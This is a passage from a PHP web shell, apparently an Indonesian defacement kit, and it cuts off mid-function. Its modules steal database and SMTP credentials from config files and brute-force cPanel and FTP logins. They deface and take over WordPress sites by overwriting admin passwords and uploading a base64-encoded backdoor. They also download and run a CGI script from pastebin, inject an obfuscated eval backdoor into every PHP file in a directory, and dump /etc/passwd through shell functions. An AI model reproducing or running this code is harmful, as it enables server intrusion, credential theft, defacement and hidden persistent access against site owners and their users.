  3324. echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  3325. echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  3326. echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  3327. echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  3328. echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  3329. }
  3330. }
  3331. }
  3332. $smpt_hunter = scj($dir);
  3333. echo $smpt_hunter;
  3334. } elseif($_GET['do'] == 'auto_wp') {
  3335. if($_POST['hajar']) {
  3336. $title = htmlspecialchars($_POST['new_title']);
  3337. $pn_title = str_replace(" ", "-", $title);
  3338. if($_POST['cek_edit'] == "Y") {
  3339. $script = $_POST['edit_content'];
  3340. } else {
  3341. $script = $title;
  3342. }
  3343. $conf = $_POST['config_dir'];
  3344. $scan_conf = scandir($conf);
  3345. foreach($scan_conf as $file_conf) {
  3346. if(!is_file("$conf/$file_conf")) continue;
  3347. $config = file_get_contents("$conf/$file_conf");
  3348. if(preg_match("/WordPress/", $config)) {
  3349. $dbhost = ambilkata($config,"DB_HOST', '","'");
  3350. $dbuser = ambilkata($config,"DB_USER', '","'");
  3351. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3352. $dbname = ambilkata($config,"DB_NAME', '","'");
  3353. $dbprefix = ambilkata($config,"table_prefix = '","'");
  3354. $prefix = $dbprefix."posts";
  3355. $option = $dbprefix."options";
  3356. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3357. $db = mysql_select_db($dbname);
  3358. $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  3359. $result = mysql_fetch_array($q);
  3360. $id = $result[ID];
  3361. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  3362. $result2 = mysql_fetch_array($q2);
  3363. $target = $result2[option_value];
  3364. $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  3365. $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  3366. echo "<div style='margin: 5px auto;'>";
  3367. if($target == '') {
  3368. echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  3369. } else {
  3370. echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  3371. }
  3372. if(!$update OR !$conn OR !$db) {
  3373. echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  3374. } else {
  3375. echo "<font color=lime>Succes</font><br>";
  3376. }
  3377. echo "</div>";
  3378. mysql_close($conn);
  3379. }
  3380. }
  3381. } else {
  3382. echo "<center>
  3383. <h1>Auto Edit Title+Content WordPress</h1>
  3384. <form method='post'>
  3385. DIR Config: <br>
  3386. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  3387. Set Title: <br>
  3388. <input type='text' name='new_title' value='Website Hacked By X-m3n' placeholder='New Title'><br><br>
  3389. Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  3390. <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  3391. <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  3392. <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  3393. </form>
  3394. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  3395. ";
  3396. }
  3397. } elseif($_GET['do'] == 'zoneh') {
  3398. if($_POST['submit']) {
  3399. $domain = explode("\r\n", $_POST['url']);
  3400. $nick = $_POST['nick'];
  3401. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  3402. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  3403. function zoneh($url,$nick) {
  3404. $ch = curl_init("http://www.zone-h.com/notify/single");
  3405. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  3406. curl_setopt($ch, CURLOPT_POST, true);
  3407. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  3408. return curl_exec($ch);
  3409. curl_close($ch);
  3410. }
  3411. foreach($domain as $url) {
  3412. $zoneh = zoneh($url,$nick);
  3413. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  3414. echo "$url -> <font color=lime>OK</font><br>";
  3415. } else {
  3416. echo "$url -> <font color=red>ERROR</font><br>";
  3417. }
  3418. }
  3419. } else {
  3420. echo "<center><form method='post'>
  3421. <u>Defacer</u>: <br>
  3422. <input type='text' name='nick' size='50' value='X-m3n'><br>
  3423. <u>Domains</u>: <br>
  3424. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  3425. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  3426. </form>";
  3427. }
  3428. echo "</center>";
  3429. }elseif($_GET['do'] == 'cpftp_auto') {
  3430. if($_POST['crack']) {
  3431. $usercp = explode("\r\n", $_POST['user_cp']);
  3432. $passcp = explode("\r\n", $_POST['pass_cp']);
  3433. $i = 0;
  3434. foreach($usercp as $ucp) {
  3435. foreach($passcp as $pcp) {
  3436. if(@mysql_connect('localhost', $ucp, $pcp)) {
  3437. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  3438. } else {
  3439. $_SESSION[$ucp] = "1";
  3440. $_SESSION[$pcp] = "1";
  3441. if($ucp == '' || $pcp == '') {
  3442. //
  3443. } else {
  3444. echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  3445. $ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
  3446. $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
  3447. if((!$ftp_login) || (!$ftp_conn)) {
  3448. echo "[+] <font color=red>Login Gagal</font><br><br>";
  3449. } else {
  3450. echo "[+] <font color=lime>Login Sukses</font><br>";
  3451. $fi = htmlspecialchars($_POST['file_deface']);
  3452. $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
  3453. if($deface) {
  3454. $i++;
  3455. echo "[+] <font color=lime>Deface Sukses</font><br>";
  3456. if(function_exists('posix_getpwuid')) {
  3457. $domain_cp = file_get_contents("/etc/named.conf");
  3458. if($domain_cp == '') {
  3459. echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  3460. } else {
  3461. preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  3462. foreach($domains_cp[1] as $dj) {
  3463. $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  3464. $user_cp_url = $user_cp_url['name'];
  3465. if($user_cp_url == $ucp) {
  3466. echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
  3467. break;
  3468. }
  3469. }
  3470. }
  3471. } else {
  3472. echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  3473. }
  3474. } else {
  3475. echo "[-] <font color=red>Deface Gagal</font><br><br>";
  3476. }
  3477. }
  3478. //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  3479. }
  3480. }
  3481. }
  3482. }
  3483. }
  3484. if($i == 0) {
  3485. } else {
  3486. echo "<br>Sukses Deface ".$i." Cpanel by <font color=lime>X-m3n</font>";
  3487. }
  3488. } else {
  3489. echo "<center>
  3490. <form method='post'>
  3491. Filename: <br>
  3492. <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
  3493. Deface Page: <br>
  3494. <input type='text' name='deface' placeholder='http://www.web-yang-udah-do-deface.com/filemu.php' style='width: 450px;'><br>
  3495. USER: <br>
  3496. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  3497. $_usercp = fopen("/etc/passwd","r");
  3498. while($getu = fgets($_usercp)) {
  3499. if($getu == '' || !$_usercp) {
  3500. echo "<font color=red>Can't read /etc/passwd</font>";
  3501. } else {
  3502. preg_match_all("/(.*?):x:/", $getu, $u);
  3503. foreach($u[1] as $user_cp) {
  3504. if(is_dir("/home/$user_cp/public_html")) {
  3505. echo "$user_cp\n";
  3506. }
  3507. }
  3508. }
  3509. }
  3510. echo "</textarea><br>
  3511. PASS: <br>
  3512. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  3513. function cp_pass($dir) {
  3514. $pass = "";
  3515. $dira = scandir($dir);
  3516. foreach($dira as $dirb) {
  3517. if(!is_file("$dir/$dirb")) continue;
  3518. $ambil = file_get_contents("$dir/$dirb");
  3519. if(preg_match("/WordPress/", $ambil)) {
  3520. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  3521. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  3522. $pass .= ambilkata($ambil,"password = '","'")."\n";
  3523. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  3524. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  3525. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  3526. $pass .= ambilkata($ambil,'password = "','"')."\n";
  3527. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  3528. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  3529. } elseif(preg_match("/client/", $ambil)) {
  3530. preg_match("/password=(.*)/", $ambil, $pass1);
  3531. if(preg_match('/"/', $pass1[1])) {
  3532. $pass1[1] = str_replace('"', "", $pass1[1]);
  3533. $pass .= $pass1[1]."\n";
  3534. }
  3535. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  3536. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  3537. }
  3538. }
  3539. echo $pass;
  3540. }
  3541. $cp_pass = cp_pass($dir);
  3542. echo $cp_pass;
  3543. echo "</textarea><br>
  3544. <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
  3545. </form>
  3546. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  3547. }
  3548. }
  3549. elseif($_GET['do'] == 'cgi') {
  3550. $cgi_dir = mkdir('idx_cgi', 0755);
  3551. $file_cgi = "idx_cgi/cgi.izo";
  3552. $isi_htcgi = "AddHandler cgi-script .izo";
  3553. $htcgi = fopen(".htaccess", "w");
  3554. $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  3555. $cgi = fopen($file_cgi, "w");
  3556. fwrite($cgi, $cgi_script);
  3557. fwrite($htcgi, $isi_htcgi);
  3558. chmod($file_cgi, 0755);
  3559. echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  3560. } elseif($_GET['do'] == 'fake_root') {
  3561. ob_start();
  3562. function reverse($url) {
  3563. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  3564. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  3565. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  3566. curl_setopt($ch, CURLOPT_HEADER, 0);
  3567. curl_setopt($ch, CURLOPT_POST, 1);
  3568. $resp = curl_exec($ch);
  3569. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  3570. $array = explode(",,", $resp);
  3571. unset($array[0]);
  3572. foreach($array as $lnk) {
  3573. $lnk = "http://$lnk";
  3574. $lnk = str_replace(",", "", $lnk);
  3575. echo $lnk."\n";
  3576. ob_flush();
  3577. flush();
  3578. }
  3579. curl_close($ch);
  3580. }
  3581. function cek($url) {
  3582. $ch = curl_init($url);
  3583. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  3584. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  3585. $resp = curl_exec($ch);
  3586. return $resp;
  3587. }
  3588. $cwd = getcwd();
  3589. $ambil_user = explode("/", $cwd);
  3590. $user = $ambil_user[2];
  3591. if($_POST['reverse']) {
  3592. $site = explode("\r\n", $_POST['url']);
  3593. $file = $_POST['file'];
  3594. foreach($site as $url) {
  3595. $cek = cek("$url/~$user/$file");
  3596. if(preg_match("/hacked/i", $cek)) {
  3597. echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  3598. }
  3599. }
  3600. } else {
  3601. echo "<center><form method='post'>
  3602. Filename: <br><input type='text' name='file' value='X-m3n.html' size='50' height='10'><br>
  3603. User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  3604. Domain: <br>
  3605. <textarea style='width: 450px; height: 250px;' name='url'>";
  3606. reverse($_SERVER['HTTP_HOST']);
  3607. echo "</textarea><br>
  3608. <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  3609. </form><br>
  3610. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  3611. }
  3612. } elseif($_GET['do'] == 'adminer') {
  3613. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  3614. function adminer($url, $isi) {
  3615. $fp = fopen($isi, "w");
  3616. $ch = curl_init();
  3617. curl_setopt($ch, CURLOPT_URL, $url);
  3618. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  3619. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  3620. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  3621. curl_setopt($ch, CURLOPT_FILE, $fp);
  3622. return curl_exec($ch);
  3623. curl_close($ch);
  3624. fclose($fp);
  3625. ob_flush();
  3626. flush();
  3627. }
  3628. if(file_exists('adminer.php')) {
  3629. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  3630. } else {
  3631. if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  3632. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  3633. } else {
  3634. echo "<center><font color=red>gagal buat file adminer</font></center>";
  3635. }
  3636. }
  3637. }elseif($_GET['do'] == 'injectcode') {?><center>
  3638. <form method='POST'>
  3639. <table>
  3640. <tr>
  3641. <td width="100" class="title">
  3642. Directory
  3643. </td>
  3644. <td>
  3645. <input type='text' style="width: 400px;" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
  3646. </td>
  3647.  
  3648. </tr>
  3649. <tr>
  3650. <td class="title">
  3651. Mode
  3652. </td>
  3653. <td>
  3654. <select style="width: 400px;" name="mode" class="box">
  3655. <option value="Apender">Apender</option>
  3656. <option value="Overwriter">Overwriter</option>
  3657. </select>
  3658. </td>
  3659. </tr>
  3660. <tr>
  3661. <td class="title">
  3662. File Type
  3663. </td>
  3664. <td>
  3665. <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
  3666. </td>
  3667. </tr>
  3668. <tr>
  3669. <td>Create A backdoor by injecting this code in every php file of current directory</td>
  3670. </tr>
  3671.  
  3672. <tr>
  3673. <td colspan="2">
  3674. <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHANCmV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoInkwelRVSWwzZHcySlZrcFVpdFdzVGkxTHpORklyOHJNUzh0SkxFblZTRW9zVGpVemlVOUpUYzVQU2RWSXk4eEpqVTlQTFlsUHpzOHJTYzByS2RaUXlpZ3BLYkRTMXk5SUxDNUpUY3JNMDB2T3o5VXZTaXpYVC9VemN5d3NUTXhXMGdRQzYxb0EiKSkpOw0KPz4="); ?></textarea>
  3675. </td>
  3676. </tr>
  3677. <tr>
  3678. <td rowspan="2">
  3679. <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="Inject "/>
  3680. </td>
  3681. </tr>
  3682. </form>
  3683. </table><div id="showinject"</div> <?php
  3684. $filetype = $_POST['filetype'];
  3685. $mode = "a";
  3686. if($_POST['mode'] == 'Apender')
  3687. $mode = "a";
  3688. if($_POST['mode'] == 'Overwriter')
  3689. $mode = "w";
  3690. if (is_dir($_POST['pathtomass']))
  3691. {
  3692. $lolinject = $_POST['injectthis'];
  3693. $mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
  3694. if(substr($_POST['pathtomass'], -1) == "\\")
  3695. $mypath = $_POST['pathtomass'] . "*.".$filetype;
  3696. foreach (glob($mypath) as $injectj00)
  3697. {
  3698. if($injectj00 == __FILE__)
  3699. continue;
  3700. $fp=fopen($injectj00,$mode);
  3701. if (fputs($fp,$lolinject))
  3702. echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
  3703. else
  3704. echo 'failed to inject '.$injectj00.'<br>';
  3705. }
  3706. }
  3707. else
  3708. echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
  3709. }
  3710.  
  3711. elseif($_GET['do'] == 'passwbypass') {
  3712. echo '<center>Bypass etc/passw With:<br>
  3713. <table style="width:50%">
  3714. <tr>
  3715. <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  3716. <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  3717. <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
  3718. <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
  3719. <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  3720. </tr></table>Bypass User With : <table style="width:50%">
  3721. <tr>
  3722. <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  3723. <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  3724. <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
  3725. <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
  3726. <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  3727. </tr>
  3728. </table><br>';
  3729.  
  3730.  
  3731. if ($_POST['awkuser']) {
  3732. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3733. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  3734. echo "</textarea><br>";
  3735. }
  3736. if ($_POST['systuser']) {
  3737. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3738. echo system("ls /var/mail");
  3739. echo "</textarea><br>";
  3740. }
  3741. if ($_POST['passthuser']) {
  3742. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3743. echo passthru("ls /var/mail");
  3744. echo "</textarea><br>";
  3745. }
  3746. if ($_POST['exuser']) {
  3747. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3748. echo exec("ls /var/mail");
  3749. echo "</textarea><br>";
  3750. }
  3751. if ($_POST['shexuser']) {
  3752. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3753. echo shell_exec("ls /var/mail");
  3754. echo "</textarea><br>";
  3755. }
  3756. if($_POST['syst'])
  3757. {
  3758. echo"<textarea class='inputz' cols='65' rows='15'>";
  3759. echo system("cat /etc/passwd");
  3760. echo"</textarea><br><br><b></b><br>";
  3761. }
  3762. if($_POST['passth'])
  3763. {
  3764. echo"<textarea class='inputz' cols='65' rows='15'>";
  3765. echo passthru("cat /etc/passwd");
  3766. echo"</textarea><br><br><b></b><br>";
  3767. }
  3768. if($_POST['ex'])
  3769. {
  3770. echo"<textarea class='inputz' cols='65' rows='15'>";
  3771. echo exec("cat /etc/passwd");
  3772. echo"</textarea><br><br><b></b><br>";
  3773. }
  3774. if($_POST['shex'])
  3775. {
  3776. echo"<textarea class='inputz' cols='65' rows='15'>";
  3777. echo shell_exec("cat /etc/passwd");
  3778. echo"</textarea><br><br><b></b><br>";
  3779. }
  3780. echo '<center>';
  3781. if($_POST['melex'])
  3782. {
  3783. echo"<textarea class='inputz' cols='65' rows='15'>";
  3784. for($uid=0;$uid<60000;$uid++){
  3785. $ara = posix_getpwuid($uid);
  3786. if (!empty($ara)) {
  3787. while (list ($key, $val) = each($ara)){
  3788. print "$val:";
  3789. }
  3790. print "\n";
  3791. }
  3792. }
  3793. echo"</textarea><br><br>";
  3794. }
  3795. //
  3796.  
  3797. //
  3798. } elseif($_GET['do'] == 'auto_dwp') {
  3799. if($_POST['auto_deface_wp']) {
  3800. function anucurl($sites) {
  3801. $ch = curl_init($sites);
  3802. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3803. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3804. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3805. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  3806. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3807. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3808. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3809. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3810. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3811. $data = curl_exec($ch);
  3812. curl_close($ch);
  3813. return $data;
  3814. }
  3815. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  3816. $post = array(
  3817. "log" => "$userr",
  3818. "pwd" => "$pass",
  3819. "rememberme" => "forever",
  3820. "wp-submit" => "$wp_submit",
  3821. "redirect_to" => "$web",
  3822. "testcookie" => "1",
  3823. );
  3824. $ch = curl_init($cek);
  3825. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3826. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3827. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3828. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3829. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3830. curl_setopt($ch, CURLOPT_POST, 1);
  3831. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  3832. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3833. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3834. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3835. $data = curl_exec($ch);
  3836. curl_close($ch);
  3837. return $data;
  3838. }
  3839. $scan = $_POST['link_config'];
  3840. $link_config = scandir($scan);
  3841. $script = htmlspecialchars($_POST['script']);
  3842. $user = "xmenhaxor";
  3843. $pass = "xmenhaxor";
  3844. $passx = md5($pass);
  3845. foreach($link_config as $dir_config) {
  3846. if(!is_file("$scan/$dir_config")) continue;
  3847. $config = file_get_contents("$scan/$dir_config");
  3848. if(preg_match("/WordPress/", $config)) {
  3849. $dbhost = ambilkata($config,"DB_HOST', '","'");
  3850. $dbuser = ambilkata($config,"DB_USER', '","'");
  3851. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3852. $dbname = ambilkata($config,"DB_NAME', '","'");
  3853. $dbprefix = ambilkata($config,"table_prefix = '","'");
  3854. $prefix = $dbprefix."users";
  3855. $option = $dbprefix."options";
  3856. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3857. $db = mysql_select_db($dbname);
  3858. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3859. $result = mysql_fetch_array($q);
  3860. $id = $result[ID];
  3861. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  3862. $result2 = mysql_fetch_array($q2);
  3863. $target = $result2[option_value];
  3864. if($target == '') {
  3865. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  3866. } else {
  3867. echo "[+] $target <br>";
  3868. }
  3869. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  3870. if(!$conn OR !$db OR !$update) {
  3871. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  3872. mysql_close($conn);
  3873. } else {
  3874. $site = "$target/wp-login.php";
  3875. $site2 = "$target/wp-admin/theme-install.php?upload";
  3876. $b1 = anucurl($site2);
  3877. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  3878. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  3879. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  3880. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  3881. $www = "m.php";
  3882. $fp5 = fopen($www,"w");
  3883. fputs($fp5,$upload3);
  3884. $post2 = array(
  3885. "_wpnonce" => "$anu2",
  3886. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  3887. "themezip" => "@$www",
  3888. "install-theme-submit" => "Install Now",
  3889. );
  3890. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  3891. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3892. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3893. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3894. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3895. curl_setopt($ch, CURLOPT_POST, 1);
  3896. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  3897. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3898. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3899. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3900. $data3 = curl_exec($ch);
  3901. curl_close($ch);
  3902. $y = date("Y");
  3903. $m = date("m");
  3904. $namafile = "id.php";
  3905. $fpi = fopen($namafile,"w");
  3906. fputs($fpi,$script);
  3907. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  3908. curl_setopt($ch6, CURLOPT_POST, true);
  3909. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  3910. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  3911. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  3912. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  3913. curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  3914. $postResult = curl_exec($ch6);
  3915. curl_close($ch6);
  3916. $as = "$target/k.php";
  3917. $bs = anucurl($as);
  3918. if(preg_match("#$script#is", $bs)) {
  3919. echo "[+] <font color='lime'>Sukses</font><br>";
  3920. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  3921. } else {
  3922. echo "[-] <font color='red'>Gagal</font><br>";
  3923. echo "[!!] coba aja manual: <br>";
  3924. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  3925. echo "[+] username: <font color=lime>$user</font><br>";
  3926. echo "[+] password: <font color=lime>$pass</font><br><br>";
  3927. }
  3928. mysql_close($conn);
  3929. }
  3930. }
  3931. }
  3932. } else {
  3933. echo "<center><h1>WordPress Auto Deface</h1>
  3934. <form method='post'>
  3935. <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  3936. <input type='text' name='script' height='10' size='50' placeholder='Website Hacked By X-m3n' required><br>
  3937. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  3938. </form>
  3939. <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  3940. </center>";
  3941. }
  3942. } elseif($_GET['do'] == 'auto_dwp2') {
  3943. if($_POST['auto_deface_wp']) {
  3944. function anucurl($sites) {
  3945. $ch = curl_init($sites);
  3946. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3947. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3948. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3949. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  3950. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3951. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3952. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3953. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3954. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  3955. $data = curl_exec($ch);
  3956. curl_close($ch);
  3957. return $data;
  3958. }
  3959. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  3960. $post = array(
  3961. "log" => "$userr",
  3962. "pwd" => "$pass",
  3963. "rememberme" => "forever",
